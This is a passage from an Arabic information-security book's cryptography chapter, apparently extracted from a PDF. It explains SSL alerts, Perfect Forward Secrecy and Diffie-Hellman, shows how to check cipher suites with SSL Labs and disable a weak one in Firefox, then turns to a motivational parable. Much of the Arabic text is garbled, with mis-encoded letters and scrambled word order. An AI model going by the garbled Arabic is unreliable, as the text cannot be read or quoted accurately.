    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [406] ‫ال‬ ‫ذذا‬ ‫وظيفة‬ ‫ما‬ ‫ولكن‬ Alert Protocol ‫؟‬.. ‫ال‬ ‫بنقل‬ ‫يقوم‬ ‫قهو‬ ..!‫لسمه‬ ‫من‬ ً‫ا‬‫واضح‬ ‫يبدو‬ “SSL-related Alerts” ‫ال‬ ‫ذذه‬ ،‫الطرقني‬ َ‫بني‬ Alerts ‫داط‬ ‫نقلها‬ ‫يتم‬ ‫ل‬ .ً‫ا‬‫أيض‬ ‫ره‬‫شف‬ُ‫م‬‫و‬ ‫مضغوطة‬ ‫رسائل‬ ‫ناك‬ُ‫ذ‬ ‫ال‬ ‫من‬ ‫نوع‬ Alerts ‫سمى‬ُ‫ي‬ Fatal Alerts ، ‫يتم‬ ‫تبادهلا‬ ‫طلل‬ ‫أي‬ ‫حدوث‬ ‫حالة‬ ‫يف‬ .‫التواصل‬ ‫بعملية‬ ‫ق‬ِّ‫ل‬‫تع‬ُ‫م‬ ‫ماييل‬ :‫نها‬‫م‬ ً‫ا‬‫عض‬َ‫ب‬ unexpected_message: An improper message was received. handshake_failure: The sender was unable to negotiate the Cipher Suite. bad_certificate: A received certificate was contained a signature that didn’t verify unsupported_certificate: The type of the received certificate is not supported. certificate_expired: A certificate has expired. ‫نكون‬ ‫ِبذا‬ ‫ال‬ ‫بروتوكول‬ ‫عن‬ ‫احلديث‬ ‫أهنينا‬ ‫قد‬ SSL ‫ال‬ ‫أذم‬ ‫من‬ ‫د‬َ‫ع‬ُ‫ي‬ ‫قهو‬ ، ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫ربوتوكوالت‬ ‫ة‬ ‫ال‬ ‫من‬ ‫العديد‬ ‫يف‬ Applications .
  • 407.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [407] Perfect Forward Secrecy (PFS) ‫التقني‬ ‫ذذه‬ ‫برشح‬ ‫نرشع‬ ‫أن‬ ‫قبل‬ ‫ة‬ ‫ططوات‬ ‫أذم‬ ‫عىل‬ ً‫ا‬‫ِسيع‬ ‫باملرور‬ً‫ال‬‫أو‬ ‫سنقوم‬ ، ..‫السابق‬ ‫املثال‬ ‫ال‬ ‫بعملية‬ ‫اإلتصال‬ ‫يبدأ‬ Handshake ‫حيث‬ ‫ت‬ ‫تم‬ ‫ال‬ Authentication ‫بينهم‬ ‫قيام‬ ، ُ‫ث‬ ‫م‬ ‫ع‬ ‫التواقق‬ ‫ال‬ ‫ىل‬ session key ‫ال‬ ‫هلذه‬ ‫البيانات‬ ‫تشفري‬ ‫يف‬ ‫استخدامه‬ ‫سيتم‬ ‫الذي‬ session ‫يتم‬ ‫وبعدذا‬ ،‫أطرى‬ ‫مرات‬ ‫لعدة‬ ‫استخدامه‬ ‫يمتد‬ ‫وربام‬ ‫ال‬ ‫ووظيفة‬ .‫منه‬ ‫التخلص‬ “key exchange phase” ‫ال‬ ‫انتقال‬ ‫عملية‬ ‫تأمني‬ ‫ذي‬ ‫ذنا‬ session key .‫بينهم‬ ‫قيام‬ ‫املثال‬ ‫يف‬ ‫ال‬ ‫استخدام‬ ‫تم‬ ‫السابق‬ RSA ‫ا‬ ‫هلذه‬ ‫لعملي‬ ‫ة‬ ‫ال‬ ‫أن‬ ‫بمعنى‬ ، “server’s private key” ‫ال‬ ‫حلامية‬ ‫ستخدم‬ُ‫ي‬ session key . ‫ال‬ ‫ذذا‬ ‫وقوع‬ ‫تم‬ ‫لن‬ ‫أنه‬ ‫وذي‬ ،‫ضعف‬ ‫نقطة‬ ‫ذناك‬ ‫لكن‬ private key ‫من‬ ‫قسيتمكن‬ ‫أحدذم‬ ‫يد‬ ‫يف‬ ‫ال‬ ‫كشف‬ session key ‫ال‬ ‫حمتويات‬ ‫عىل‬ ‫اإلطالع‬ ‫ثم‬ ‫ومن‬ sessions .!‫بينهم‬ ‫دارت‬ ‫التي‬ ‫وبالنسب‬ ‫ة‬ ‫ال‬ ‫لىل‬ Randoms ‫الت‬ ‫ي‬ ‫ال‬ ‫مع‬ ‫استخدامها‬ ‫تم‬ pre_master key ‫ال‬ ‫بدور‬ ‫لتقوم‬ Salt ‫تاح‬ُ‫م‬ ‫قإهنا‬ ‫ة‬ ‫ال‬ ‫لدى‬ attacker ‫ال‬ ‫أثناء‬ ‫تبادهلا‬ ‫تم‬ ‫قد‬ ‫ألنه‬ Hello messages .!‫تشفري‬ ‫بدون‬ ‫ولكن‬ ‫أليس‬ ‫ال‬ ‫عىل‬ ‫احلصول‬ private key ً‫ا‬‫أمر‬ ‫؟‬ً‫ا‬‫صعب‬ ‫ولكن‬ ،‫نعم‬ ‫ال‬ ‫ِبذه‬ ‫اإلحتفاظ‬ ‫أحدذم‬ ‫يستطيع‬ encrypted sessions ‫رب‬ ‫لديه‬ ‫أن‬ ‫لىل‬ ‫سنوات‬ ‫أو‬ ‫لشهور‬ ‫ام‬ ‫كُس‬ ‫يستطيع‬ ‫ذذ‬ ‫ا‬ ‫ال‬ key ،‫حينها‬ ‫التكنولوجيا‬ ‫بتقدم‬ ‫ال‬ ‫هلذا‬ ‫الوصول‬ ‫من‬ ‫يتمكن‬ ‫أن‬ ‫أو‬ server ‫ال‬ ‫ونسخ‬ key ‫باستخدامه‬ ‫قيقوم‬ ‫ِبا‬ ‫باإلحتفاظ‬ ‫قام‬ ‫التي‬ ‫البيانات‬ ‫ذذه‬ ‫تشفري‬ ‫لفك‬ . ‫ال‬ ‫جاء‬ ‫نا‬ُ‫ذ‬ ‫ومن‬ Forward Secrecy ، ‫حدث‬ ‫لن‬ ‫أنه‬ ‫قكرة‬ ‫يعتمد‬ ‫حيث‬ compromise ‫لل‬ private key ‫يؤثر‬ ‫ال‬ ‫قإنه‬ ‫بالتبعي‬ ‫ة‬ ‫ال‬ ‫عىل‬ session key .
  • 408.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [408] ‫لىل‬ ‫اإلنتقال‬ Ephemeral Diffie-Hellman ‫ال‬ ‫اعتامد‬ ‫ضعف‬ ‫نقطة‬ ‫عىل‬ ‫تعرقنا‬ ‫أن‬ ‫وبعد‬ ‫واآلن‬ session key ‫ال‬ ‫على‬ private key .. ‫ال‬ ‫باستخدام‬ ‫سنقوم‬ DH ‫العملي‬ ‫هلذه‬ ‫ة‬ ‫مل‬ ُ‫ه‬‫ل‬ ‫ا‬ ‫لمكانية‬ ‫من‬ ‫رائع‬ ‫ة‬ ‫الضعف‬ ‫نقطة‬ ‫عىل‬ ‫التغلب‬ ‫يف‬ .!‫ذذه‬ When we use Diffie–Hellman key exchange in SSL, it is only used for deriving a session keys, the authentication of the server is done by the server’s private key. The use of Diffie–Hellman key exchange is to use a separate method to derive session key independent from the server's private key. ‫ذلك؟‬ ‫يتم‬ ‫وكيف‬ ‫بطريق‬ ‫األمر‬ ‫سنوضح‬ ‫ة‬ ‫ط‬‫بس‬ُ‫م‬ ‫ة‬ .. ً‫ا‬‫مع‬ ‫لنتصور‬ ‫ال‬ ‫باستخدام‬ ‫يتواصالن‬ ‫طرقان‬ ‫وجود‬ ‫أنه‬ DH ‫لنرى‬ ‫لالطرتاق‬ ‫القناة‬ ‫ذذه‬ ‫ض‬ ِّ‫ُعر‬‫ن‬‫س‬ ‫الوقت‬ ‫نفس‬ ‫ويف‬ ، !‫حيدث‬ ‫أن‬ ‫مايمكن‬
  • 409.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [409]  ‫سيقوم‬ Bob ‫و‬ Sara ‫عىل‬ ‫بالتواقق‬ ‫لون‬ ‫بينهام‬ ‫قيام‬ ، ‫و‬ ‫ليكن‬ ‫اللون‬ " ‫األزرق‬ " ، ‫السيد‬ ‫قيلتقطه‬ eavesdropper .. .!‫البأس‬  ‫حد‬ ‫عىل‬ ‫منهم‬ ‫كل‬ ‫يقوم‬ ‫م‬ُ‫ث‬ ‫ة‬ ‫لكل‬ ‫ِسي‬ ‫أمر‬ ‫أنه‬ ‫أي‬ ،!‫به‬ ‫اآلطر‬ ‫الطرف‬ ‫رب‬ ُ ‫خي‬ ‫أن‬ ‫دون‬ ‫آطر‬ ‫لون‬ ‫باطتيار‬ ‫ققامت‬ ،‫طرف‬ Sara ‫اللون‬ ‫باطتيار‬ " ‫األمحر‬ " ، ‫وقام‬ Bob ‫اللون‬ ‫باطتيار‬ " ‫األطرض‬ " ‫ذذين‬ ‫ل‬ِّ‫ث‬َ‫م‬ُ‫ي‬‫و‬ ، ‫ال‬ ‫اللونني‬ “private key” . ‫ال‬ ‫يتمكن‬ ‫ومل‬ eavesdropper ‫معرق‬ ‫من‬ ‫اللونني‬ ‫ة‬ ‫عرب‬ ‫تبادهلم‬ ‫يتم‬ ‫مل‬ ‫ألنه‬ .!‫القناة‬  ‫ذلك‬ ‫وبعد‬ ‫الُسي‬ ‫اللون‬ ‫مع‬ ‫األزرق‬ ‫اللون‬ ‫أي‬ ،ً‫ا‬‫مع‬ ‫اللونني‬ ‫بخلط‬ ‫طرف‬ ‫كل‬ ‫يقوم‬ ‫اطتياره‬ ‫تم‬ ‫الذي‬ ، ‫ذلك‬ ‫قينتج‬ ‫ال‬ Mixed .‫منهم‬ ‫لكل‬ ‫ال‬ ‫ذذا‬ Mixed ‫ال‬ ‫ل‬ِّ‫ث‬َ‫م‬ُ‫ي‬ “Public key” .  ‫بإ‬ ‫طرف‬ ‫كل‬ ‫يقوم‬ ‫ثم‬ ‫ال‬ ‫ذذا‬ ‫رسال‬ Mixed ‫ال‬ ‫يتمكن‬ ‫نا‬ُ‫وذ‬ ،‫اآلطر‬ ‫الطرف‬ ‫لىل‬ eavesdropper ‫من‬ .!‫التقاطهم‬ ‫ال‬ ‫ذذا‬ ..ً‫ال‬‫مه‬ ‫لكن‬ Mixed color ‫يتمكن‬ ‫لن‬ ‫ال‬ eavesdropper ‫الداطل‬ ‫األلوان‬ ‫حتليل‬ ‫من‬ ‫ة‬ ،!‫تكوينه‬ ‫يف‬ .‫ذذه‬ ‫اخللط‬ ‫عملية‬ ‫ناتج‬ ‫رؤية‬ ‫يستطيع‬ ‫ققط‬ ‫ذو‬  ..‫األطريه‬ ‫للخطوة‬ ‫نأيت‬ ‫واآلن‬ ‫كل‬ ‫يقوم‬ ‫طرف‬ ‫بخلط‬ ‫ال‬ ‫مع‬ ‫به‬ ‫اخلاص‬ ‫الُسي‬ ‫اللون‬ Mixed ‫ا‬ ‫من‬ ‫استقبله‬ ‫لذي‬ ،‫اآلطر‬ ‫الطرف‬ ‫قتكون‬ ‫املحصل‬ ‫ة‬ ‫متشاِب‬ ‫الطرقني‬ ‫لدى‬ ‫ة‬ ، ‫الثالث‬ ‫األلوان‬ ‫وذي‬ ‫ة‬ ، !‫واألطرض‬ ‫واألمحر‬ ‫األزرق‬ ، ‫ال‬ ‫نفس‬ ‫أي‬ “Key” . ‫عليه‬ ‫ق‬‫ُطل‬‫ن‬‫و‬ “shared key” . ‫ال‬ ‫يتمكن‬ ‫ومل‬ eavesdropper ‫من‬ ‫معرقة‬ ‫ذذا‬ ‫ال‬ shared key ‫من‬ ‫بالرغم‬ ‫جتسسه‬ ‫عىل‬ ‫اإلتصال‬ ‫قناة‬ .!‫بينهم‬
  • 410.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [410] ‫ال‬ ‫العملي‬ ‫ذذه‬ ‫عن‬ ‫عرب‬ُ‫ي‬ ‫التايل‬ ‫شكل‬ ‫ة‬ :‫األرقام‬ ‫باستخدام‬  The number (1,048,576) is the shared secret.  The numbers (16 and 32) are the public keys.  The random numbers (4 and 5) are the private keys.  The common number (2 in this example) would normally be passed system-to-system as part of the application’s negotiation. ‫قكرة‬ ‫عرقنا‬ ‫لقد‬ ‫عمل‬ Diffie-Hellman ، ‫ق‬ ‫تعني‬ ‫امذا‬ ‫لفظة‬ “Ephemeral” ‫ذذه‬ ‫؟‬ ‫مر‬ ‫كل‬ ‫قفي‬ ،‫األلوان‬ ‫مثال‬ ‫عىل‬ ‫باإلسقاط‬ ‫ة‬ ‫ال‬ ‫يقوم‬ client ‫بببدء‬ session ‫جديد‬ ‫ة‬ ‫م‬ ‫ال‬ ‫ع‬ server ‫اطتيار‬ ‫يتم‬ ‫لونني‬ ِّ ‫ِسيني‬ Secret Colors ،‫جديدين‬ ‫أي‬ “New Random intgers” . ‫ال‬ ‫مفهوم‬ ‫ماحيقق‬ ‫وذذا‬ PFS Static Diffie-Hellman key exchanges always use the same Diffie-Hellman private keys. So, each time the same parties do a DH key exchange, they end up with the same shared secret. When a key exchange uses Ephemeral Diffie-Hellman (DHE), a temporary DH key is generated for every connection and thus the same key is never used twice. This enables “Forward Secrecy”. * Note- The perfect forward secrecy offered by (DHE) comes at a price, “more computation”. The (ECDHE) variants use elliptic curve cryptography to reduce this computational cost.
  • 411.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [411] ‫ال‬ ‫أن‬ ‫نعرف‬ ‫كيف‬ Server ‫ال‬ ‫أو‬ Browser ‫ال‬ ‫يدعم‬ PFS ‫؟‬.. ‫بال‬ ‫اإلتصال‬ ‫طريق‬ ‫عن‬ Server ‫ال‬ ‫لك‬ ‫سيظهر‬ cipher suite :‫كامييل‬ ‫بينكم‬ ‫ستخدم‬ُ‫مل‬‫ا‬  RSA keys are used here for authentication purposes  ECDHE is for the key exchange  AES is for the encryption itself
  • 412.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [412] ‫أو‬ ‫موقع‬ ‫أي‬ ‫اطتبار‬ ‫يمكنك‬ ً‫ا‬‫أيض‬ Server ‫طريق‬ ‫عن‬ :‫الرابط‬ ‫ذذا‬ https://www.ssllabs.com/ssltest/index.html ‫بواسطة‬ ‫اطتباره‬ ‫تم‬ ‫ملوقع‬ ‫مثال‬ ‫ماييل‬ Qualys ssl labs ‫ال‬ ‫وذذه‬ cipher suite :‫املوقع‬ ‫ذذا‬ ‫يدعمها‬ ‫التي‬
  • 413.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [413] ‫األولوي‬ ‫لعطاء‬ ‫الحظ‬ ‫ة‬ ‫ال‬ ‫لىل‬ cipher suites ‫ال‬ ‫تدعم‬ ‫التي‬ PFS ، ‫بال‬ ‫طاص‬ ‫وذو‬ ‫جزء‬ ‫آطر‬ ‫وذذا‬ Protocol Details ‫ال‬ ‫طاصية‬ ‫ِبا‬ ‫ويظهر‬ Forward Secrecy .
  • 414.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [414] ‫اإلطتبار‬ ‫نفس‬ ‫لجراء‬ ً‫ا‬‫أيض‬ ‫يمكنك‬ !‫بك‬ ‫اخلاص‬ ‫للمتصفح‬
  • 415.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [415] ‫ا‬ ‫نتائج‬ ‫ماييل‬ ‫اخلاص‬ ‫إلطتبار‬ ‫ة‬ ‫بال‬ cipher suites ‫وذو‬ ،‫يب‬ ‫اخلاص‬ ‫املتصفح‬ ‫يدعمها‬ ‫التي‬ FireFox ‫ال‬ ‫ذذا‬ ‫تتذكر‬ ‫ذل‬ cipher suite ‫؟‬..
  • 416.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [416] ‫ال‬ ‫أحد‬ ‫لنه‬ cipher suites ‫ال‬ ‫لىل‬ ‫املتصفح‬ ‫قدمها‬ ‫التي‬ server ‫ال‬ ‫مرحلة‬ ‫أثناء‬ handshake ‫عن‬ ‫نتحدث‬ ‫كنا‬ ‫عندما‬ ‫ال‬ ‫بروتوكول‬ SSL ، ‫ال‬ ‫قام‬ ً‫ا‬‫وأيض‬ server ‫ب‬ .!‫اطتياره‬ ‫ال‬ ‫اليدعم‬ ‫أنه‬ ‫عن‬ ً‫ال‬‫قض‬ Forward Secrecy ، .!‫ضعيف‬ ‫بأنه‬ ‫ف‬‫صن‬ُ‫م‬ ‫قهو‬ ‫املوضح‬ ‫اخلطوات‬ ‫باتباع‬ ‫بتقديمها‬ ‫يب‬ ‫اخلاص‬ ‫تصفح‬ُ‫مل‬‫ا‬ ‫يقوم‬ ‫التي‬ ‫البدائل‬ ‫من‬ ‫بإلغائه‬ ‫اآلن‬ ‫سنقوم‬ ‫ة‬ :‫بالشكل‬ ‫بكتابة‬ ‫نقوم‬ about:config ‫نكتب‬ ‫البحث‬ ‫طانة‬ ‫يف‬ ‫م‬ُ‫ث‬ ،‫الرشيط‬ ‫يف‬ SSL3 ‫ال‬ ‫لنا‬ ‫قيظهر‬ cipher suites ‫يدعمها‬ ‫التي‬ ‫ال‬ ‫ذذا‬ ‫بإلغاء‬ ‫قنقوم‬ ،‫املتصفح‬ cipher suite ‫املناظر‬ ‫قيمته‬ ‫جعل‬ ‫طريق‬ ‫عن‬ ‫الضعيف‬ ‫ة‬ ‫ب‬ False .
  • 417.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [417] ‫لىل‬ ‫طرى‬ُ‫أ‬ ً‫ة‬‫مر‬ ‫سنعود‬ ‫واآلن‬ ssllabs ‫ال‬ ‫ذذا‬ ‫ظهور‬ ‫عدم‬ ‫من‬ ‫لنتأكد‬ ‫اإلجراء‬ ‫ذذا‬ ‫بعد‬ ‫تصفح‬ُ‫مل‬‫ا‬ ‫لنخترب‬ cipher suite ‫مع‬ .‫املتصفح‬ ‫يدعمها‬ ‫التي‬ ‫البدائل‬ ‫ال‬ ‫ذاذي‬ ‫ال‬ ‫بينها‬ ‫من‬ ‫واليوجد‬ ،‫نتائج‬ cipher suite .!‫الضعيف‬ ‫ال‬ ‫ققرة‬ ‫من‬ ‫انتهينا‬ ‫نكون‬ ‫نا‬ُ‫ذ‬ ‫لىل‬ PFS . ‫سنن‬ ‫عنوان‬‫ب‬ ‫وذي‬ ،‫الباب‬ ‫ذذا‬ ‫يف‬ ‫ققرة‬ ‫آطر‬ ‫لىل‬ ‫اآلن‬ ‫تقل‬ “Success Algorithms”
  • 418.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [418] Success Algorithms ‫بامتياز‬ ً‫ا‬‫مي‬َ‫ق‬َ‫ر‬ ً‫ال‬ ُ‫ج‬َ‫ر‬ ‫أصبحت‬ ‫اآلن‬ ‫أنك‬ ‫ام‬‫ب‬  ‫اخلوارز‬ ‫بعض‬ ‫لك‬ ‫قدم‬ُ‫أ‬ ‫دعني‬ ، ‫ختار‬ُ‫مل‬‫ا‬ ‫ميات‬ ‫ة‬ ‫اعتامدذا‬ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬ ‫التي‬ .‫األمام‬ ‫لىل‬ ‫م‬ُّ‫َقد‬‫ت‬‫ال‬ َ‫دائم‬ ‫َكون‬‫ت‬‫ل‬ ‫لفظة‬ ‫بإطالق‬ ُ ‫مت‬ُ‫ق‬ " ‫طوارزمية‬ " .‫تايب‬‫ك‬‫ل‬ ‫اخلتام‬ ‫كان‬ ‫الذي‬ ،‫الباب‬ ‫ذذا‬ ‫موضوع‬ ‫مع‬ ً‫ا‬‫متاشي‬ ‫عليها‬ ‫س‬ ..‫الرائعة‬ ‫القصص‬ ‫من‬ ‫قصة‬ ‫لك‬ ‫أحكي‬ ‫ما‬ ٍ‫م‬‫يو‬ ‫يف‬ .‫ت‬‫و‬َ‫مل‬‫ا‬ ُ‫ه‬ ُ ُ ‫رض‬ َ ‫حي‬ ‫الصوقيون‬ ‫َامء‬‫ك‬ُ‫حل‬‫ا‬ ‫أحد‬ ‫كان‬ .. . ..‫أحدذم‬ ُ‫ه‬‫قسأل‬ ‫كم‬‫احل‬ ‫ذذه‬ ‫منهم‬ َ ‫استقيت‬ ‫الذين‬ ‫ميك‬ِّ‫ل‬‫ع‬ُ‫م‬‫و‬ ‫أساتيذك‬ ‫عىل‬ ‫ني‬‫ل‬ُ‫د‬ ..‫الكبري‬ ‫ف‬‫العار‬ ‫أهيا‬ :‫ققال‬ ‫ة‬ َ‫ل‬‫لي‬َ‫جل‬‫ا‬ ‫ة‬ .! .!‫سع‬‫ت‬ُ‫م‬ ‫الوقت‬ ‫يف‬ ‫وليس‬ ،!‫عليهم‬ َ ‫لك‬ُ‫د‬‫أل‬ ‫شهور‬ َ‫ء‬‫ورا‬ ً‫ا‬‫شهور‬ ‫ألطذنا‬ ‫ذلك‬ ُ ‫أردت‬ ‫لو‬ ..‫ني‬ُ‫ب‬‫يا‬ :‫الشيخ‬ ‫قال‬ ‫أسات‬ ‫أذم‬ ‫عىل‬ ‫ني‬‫ل‬ُ‫قد‬ ..ً‫ا‬‫لذ‬ :‫الشاب‬ ‫قال‬ .!‫ميك‬ِّ‫ل‬‫ع‬ُ‫م‬ ‫أروع‬ ‫عىل‬ ،!‫يذك‬ ..‫ثالثة‬ ‫م‬ُ‫ذ‬ ..‫نعم‬ :‫الشيخ‬ ‫ققال‬ ‫م؟‬ُ‫ذ‬ ‫ومن‬ :‫الشاب‬ ‫قال‬ ‫م‬ُ‫ذ‬ :‫الشيخ‬ ‫قرد‬ .!‫صغري‬ ‫وطفل‬ ،‫وكلب‬ ،!‫ص‬‫ل‬ ..‫الثالثة‬ ‫علمني‬ُ‫مل‬‫ا‬ ‫ذؤالء‬ ‫مع‬ ُ‫ه‬‫قصت‬ ‫له‬ ‫يُسد‬ ‫الشيخ‬ ‫وبدأ‬
  • 419.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [419] ‫السن‬ ‫يف‬ ‫كبرية‬ ‫يل‬ ‫جارة‬ ‫عند‬ ‫داري‬ ‫فتاح‬‫م‬ ُ ‫استودعت‬ ‫قد‬ ُ ‫ُنت‬‫ك‬‫و‬ ،‫ر‬َ‫ف‬ َ ‫الس‬ ‫من‬ ‫يوم‬ َ ‫ذات‬ ُ ‫دت‬ُ‫ع‬ ، ‫أن‬ ‫من‬ ‫باحلرج‬ ‫قأحسست‬ ‫بك؟‬ ‫ماذا‬ :‫يسألني‬ ‫ل‬ ُ‫برج‬ ‫لذا‬ ،‫كذلك‬ ‫أنا‬ ‫وبينام‬ .‫الليل‬ ‫منتصف‬ ‫يف‬ ‫أوقظها‬ .!‫فتاح‬‫امل‬ ‫معي‬ ‫وليس‬ ‫بيتي‬ ‫أقتح‬ ‫أن‬ ‫أود‬ :‫قلت‬ .!‫صنعتي‬ ‫قهذه‬ ،‫لك‬ ُ‫ه‬‫أقتح‬ ‫أنا‬ :‫قال‬ ،‫عل‬‫بالف‬ ‫الرجل‬ ‫ذاك‬ ‫قفتحه‬ ‫الليل‬ ً‫ا‬‫ضيف‬ ‫عيل‬ ‫لنزل‬ :‫الشيخ‬ ‫له‬ ‫ققال‬ ‫ة‬ . َ‫ع‬ َ‫والس‬ ‫الرحب‬ ‫عىل‬ :‫الرجل‬ ‫قرد‬ ‫ة‬ .!‫األساس‬ ‫من‬ ‫بيت‬ ‫عندي‬ ‫قليس‬ ، ‫م‬ُ‫ث‬ ،‫زقه‬‫ر‬ ‫عن‬ ً‫ا‬‫باحث‬ ً‫ا‬‫ر‬‫باك‬ ‫صباح‬ ‫كل‬ ‫ج‬ ُ‫خير‬ ‫وكان‬ ،!‫شهور‬ ‫لبضعة‬ ً‫ا‬‫ضيف‬ ‫عيل‬ ‫قنزل‬ ،‫الشيخ‬ ‫يقول‬ َ‫يل‬‫طا‬ ‫اليوم‬ ‫آطر‬ ‫يف‬ ‫يعود‬ ‫اليدين‬ .!‫لص‬ ‫أنه‬ ‫الشيخ‬ ‫يعلم‬ ‫يكن‬ ‫ومل‬ ، ‫وينطلق‬ ‫ونشاط‬ ‫حيوية‬ ‫بكل‬ ‫يوم‬ ‫كل‬ ‫يستيقظ‬ ‫وذو‬ ُ‫ه‬‫يتأمل‬ ‫كان‬ ‫ققد‬ ،‫رزقه‬ ‫عىل‬ ‫للسعي‬ ‫مال‬ ‫بال‬ ‫يأيت‬ ‫ثم‬ ، ..‫وذكذا‬ ..‫الرزق‬ ‫يأتيني‬ ‫لنشاءاهلل‬ ً‫ا‬‫غد‬ ،!‫يشء‬ ‫ال‬ :‫عليه‬ ‫قريد‬ ،‫كسبت؟‬ ‫ماذا‬ :‫الشيخ‬ ‫يسأله‬ ‫وكان‬ ‫احليا‬ ‫عىل‬ ‫لقبال‬ ‫لديه‬ ،‫ييأس‬ ‫ال‬ ،!‫عجيب‬ ‫رجل‬ ‫قكان‬ ‫ة‬ .!‫والقدر‬ ‫القضاء‬ ‫من‬ ‫يتضجر‬ ‫ال‬ ،!‫عاليني‬ ‫وطموح‬ .!‫الكثري‬ ُ‫ه‬‫من‬ ُ ‫قتعلمت‬ :‫الشيخ‬ ‫قال‬ ‫أول‬ ‫وذذه‬ ُ‫أ‬ ‫للنجاح‬ ‫طوارزمية‬ ‫ذدهيا‬ ‫لك‬ ..! " ‫تيأس‬ ‫ال‬ " .. ‫كل‬ ‫عن‬ ً‫ام‬‫دائ‬ ‫ابحث‬ ،!‫طربات‬ ‫أو‬ ‫معارف‬ ‫أو‬ ‫علوم‬ ‫من‬ ‫لليه‬ َ ‫لت‬ َ ‫ص‬َ‫و‬ ‫ا‬‫مل‬ ‫تطمئن‬ ‫وال‬ ،ً‫ام‬‫دائ‬ ‫مابوسعك‬ ‫لبذل‬ .‫الراحة‬ ‫منطقة‬ ‫لىل‬ ‫تركن‬ ‫وال‬ ‫جديد‬
  • 420.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [420] ‫من‬ ‫بنوع‬ ‫صابني‬ُ‫م‬ ‫كانوا‬ ‫أهنم‬ ‫وذي‬ .‫امء‬َ‫ل‬ُ‫ع‬‫وال‬ ‫خرتعني‬ُ‫مل‬‫ا‬ ‫من‬ ‫عدد‬ ‫بني‬ ‫شرتكة‬ُ‫م‬ ‫عالمة‬ ‫وجود‬ ‫الباحثني‬ ‫بعض‬ َ‫الحظ‬ ‫النفسي‬ ‫األزمات‬ ‫ة‬ ‫وذي‬ " ‫أنفسهم‬ ‫عن‬ ‫ضا‬ ِّ‫الر‬ ‫عدم‬ " ،‫العادي‬ ‫غري‬ ‫هد‬ُ‫جل‬‫ا‬ ‫وبذل‬ ‫ستمر‬ُ‫مل‬‫ا‬ ‫البحث‬ ‫لىل‬ ‫ذذا‬ ‫يدقعهم‬ ‫قكان‬ ،! .!‫احلالية‬ ‫نتائجهم‬ ‫عن‬ ‫ضا‬ ِّ‫بالر‬ ‫م‬‫شعورذ‬ ‫عدم‬ ‫بسبب‬ ‫وال‬‫ط‬ ٍ ‫لساعات‬ ‫والسهر‬ ‫النفسي‬ ‫قدة‬ُ‫ع‬‫ال‬ ‫ذذه‬ ‫قكانت‬ ‫ة‬ ‫ثري‬ُ‫مل‬‫ا‬ ‫ونتائجهم‬ ،!‫املسبوقة‬ ‫غري‬ ‫م‬‫لنجازاهت‬ ‫ظهور‬ ‫يف‬ ً‫ا‬‫سبب‬ ‫للدذش‬ ‫ة‬ ‫ة‬ .! ..!‫ذؤالء‬ ‫مثل‬ ‫دين‬‫عق‬ُ‫م‬ َ‫نكون‬ ‫أن‬ ‫ُريد‬‫ن‬ ‫ال‬  .ً‫ا‬‫دوم‬ ‫لألمام‬ ‫التقدم‬ ‫من‬ ‫َتمكن‬‫ن‬‫ل‬ ‫اجلهد‬ ‫وبذل‬ ‫اإلرصار‬ ‫ببعض‬ ‫التحيل‬ ‫ُريد‬‫ن‬ ‫ولكن‬ ...‫اجلليل‬ ‫الشيخ‬ ‫لىل‬ ‫َعود‬‫ن‬‫ل‬ .‫اليشء‬ ‫بعض‬ ‫عميق‬ ‫أنه‬ ‫أي‬ ،‫مق‬ُ‫ع‬ ‫قيه‬ ،‫ماء‬ ‫ل‬َ‫و‬‫د‬ َ‫ج‬ ‫لىل‬ ‫ني‬ُ‫ق‬‫ساب‬ُ‫ي‬ ‫قكان‬ ..‫الكلب‬ ‫وأما‬ ..‫الشيخ‬ ‫واستكمل‬ ‫قل‬ ،!‫املاء‬ ‫يف‬ ‫صورته‬ ‫رأى‬ ‫أنه‬ ‫يبدو‬ ،‫ول‬‫د‬َ‫جل‬‫ا‬ ‫لىل‬ ‫الكلب‬ ‫ذلك‬ َ‫م‬َ‫د‬‫أق‬ ‫ام‬ .‫اوالت‬ ُ ‫حم‬ ‫دة‬‫ع‬‫ل‬ ‫وذكذا‬ ..ً‫ا‬‫ع‬‫قز‬ ‫ارتد‬ ‫ثم‬ ..‫قعاد‬ 